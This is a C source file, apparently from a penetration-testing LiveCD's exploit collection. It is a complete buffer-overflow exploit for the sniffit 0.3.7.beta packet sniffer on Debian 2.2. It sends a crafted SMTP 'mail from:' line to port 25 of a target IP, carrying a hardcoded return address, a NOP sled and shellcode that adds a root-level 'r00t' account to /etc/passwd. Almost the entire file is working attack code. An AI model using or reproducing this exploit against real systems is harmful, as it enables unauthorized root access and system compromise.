home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / 5niffi7.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  128 lines

  1. /*
  2.  * 5niffi7.c - exploiting sniffit 0.3.7.beta for Debian 2.2
  3.  * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@via.ecp.fr>
  4.  *
  5.  * When a running sniffit session logs the packet sent by 5niffi7,
  6.  * the following shellcode is executed. This shellcode adds the
  7.  * line "r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to /etc/passwd.
  8.  * Cracking r00t's password should not be too hard :-)
  9.  *
  10.  * 5niffi7.c is free software; you can redistribute it and/or modify
  11.  * it under the terms of the GNU General Public License as published by
  12.  * the Free Software Foundation; either version 2 of the License, or
  13.  * (at your option) any later version.
  14.  *
  15.  * This program is distributed in the hope that it will be useful,
  16.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  17.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  18.  * GNU General Public License for more details.
  19.  *
  20.  * You should have received a copy of the GNU General Public License
  21.  * along with this program; if not, write to the Free Software
  22.  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  23.  */
  24.  
  25. #include <netinet/in.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <string.h>
  29. #include <sys/socket.h>
  30. #include <netinet/in.h>
  31. #include <arpa/inet.h>
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <unistd.h>
  35.  
  36. #define FROM "mail from: "
  37. #define RET 0xbfff6b5b
  38.  
  39. char shellcode[] =
  40. "\xeb\x5b\x90\x90\x90\x90\x90\x90"
  41. "\x90\x90\x5e\x80\x6e\xd9\x1a\x80"
  42. "\x6e\xdd\x1a\x80\x6e\xd7\x1a\x80"
  43. "\x6e\xc4\x1a\x80\x6e\xe4\x1a\x90"
  44. "\x90\x90\x90\x31\xc0\x88\x60\x0b"
  45. "\xb0\x05\x89\xf3\x31\xc9\x66\xb9"
  46. "\x01\x04\x31\xd2\xcd\x80\x89\xc7"
  47. "\xc6\x60\x31\x24\x31\xc0\x88\x60"
  48. "\x32\xb0\x04\x89\xfb\x8d\x68\x0c"
  49. "\x31\xd2\xb2\x26\xcd\x80\x31\xc0"
  50. "\xb0\x06\x89\xfb\xcd\x80\x31\xdb"
  51. "\x89\xd8\x40\xcd\x80\xe8\xa8\xff"
  52. "\xff\xff\x2f\x65\x74\x63\x2f\x70"
  53. "\x61\x73\x73\x77\x64\x78\x72\x30"
  54. "\x30\x74\x3a\x33\x36\x6d\x73\x76"
  55. "\x71\x38\x76\x62\x6b\x67\x35\x6b"
  56. "\x3a\x30\x3a\x30\x3a\x72\x30\x30"
  57. "\x74\x3a\x2f\x3a\x2f\x62\x69\x6e"
  58. "\x2f\x73\x68\x78\x78";
  59.  
  60. int main( int argc, char * argv[] )
  61. {
  62.     int sock_client;
  63.     struct sockaddr_in addr_server, addr_client;
  64.     int i, j;
  65.     char * ip_src, * ip_dst;
  66.     char conn[ 256 ], msg[ 1500 ];
  67.  
  68.     if ( argc != 2 )
  69.     {
  70.         fprintf( stderr, "Usage: %s IP\n", argv[0] );
  71.         exit( -1 );
  72.     }
  73.  
  74.     if ( (sock_client = socket(PF_INET, SOCK_STREAM, 0)) < 0 )
  75.     {
  76.         exit( -1 );
  77.     }
  78.  
  79.     bzero( (void *)&addr_server, sizeof(struct sockaddr_in) );
  80.     addr_server.sin_family = AF_INET;
  81.     addr_server.sin_port = htons( 25 );
  82.     inet_aton( argv[1], &addr_server.sin_addr );
  83.  
  84.     if ( connect(sock_client, (struct sockaddr *)&addr_server, sizeof(struct sockaddr_in)) < 0 )
  85.     {
  86.         exit( -1 );
  87.     }
  88.  
  89.     i = sizeof( struct sockaddr );
  90.     getsockname( sock_client, (struct sockaddr *)&addr_client, &i );
  91.  
  92.     ip_src = strdup( inet_ntoa(addr_client.sin_addr) );
  93.     ip_dst = strdup( inet_ntoa(addr_server.sin_addr) );
  94.     snprintf( conn, sizeof(conn), "%s.%u-%s.%u", ip_src, ntohs(addr_client.sin_port), ip_dst, ntohs(addr_server.sin_port) );
  95.     free( ip_src );
  96.     free( ip_dst );
  97.  
  98.     bzero( msg, sizeof(msg) );
  99.     i = 0;
  100.     for ( j = 0; j < strlen(FROM); i++, j++ )
  101.     {
  102.         msg[ i ] = FROM[ j ];
  103.     }
  104.     for ( j = 0; j < 256 - strlen(conn) - strlen(": mail [") - strlen(FROM); i++, j++ )
  105.     {
  106.         msg[ i ] = 'A';
  107.     }
  108.     *((unsigned long *)(&(msg[i]))) = RET;
  109.     i += 4;
  110.     for ( j = 0; j < 1024; i++, j++ )
  111.     {
  112.         msg[ i ] = 0x90;
  113.     }
  114.     for ( j = 0; j < strlen(shellcode); i++, j++ )
  115.     {
  116.         msg[ i ] = shellcode[ j ];
  117.     }
  118.  
  119.     if ( write(sock_client, msg, strlen(msg)) < 0 )
  120.     {
  121.         exit( -1 );
  122.     }
  123.  
  124.     close( sock_client );
  125.  
  126.     exit( 0 );
  127. }
  128.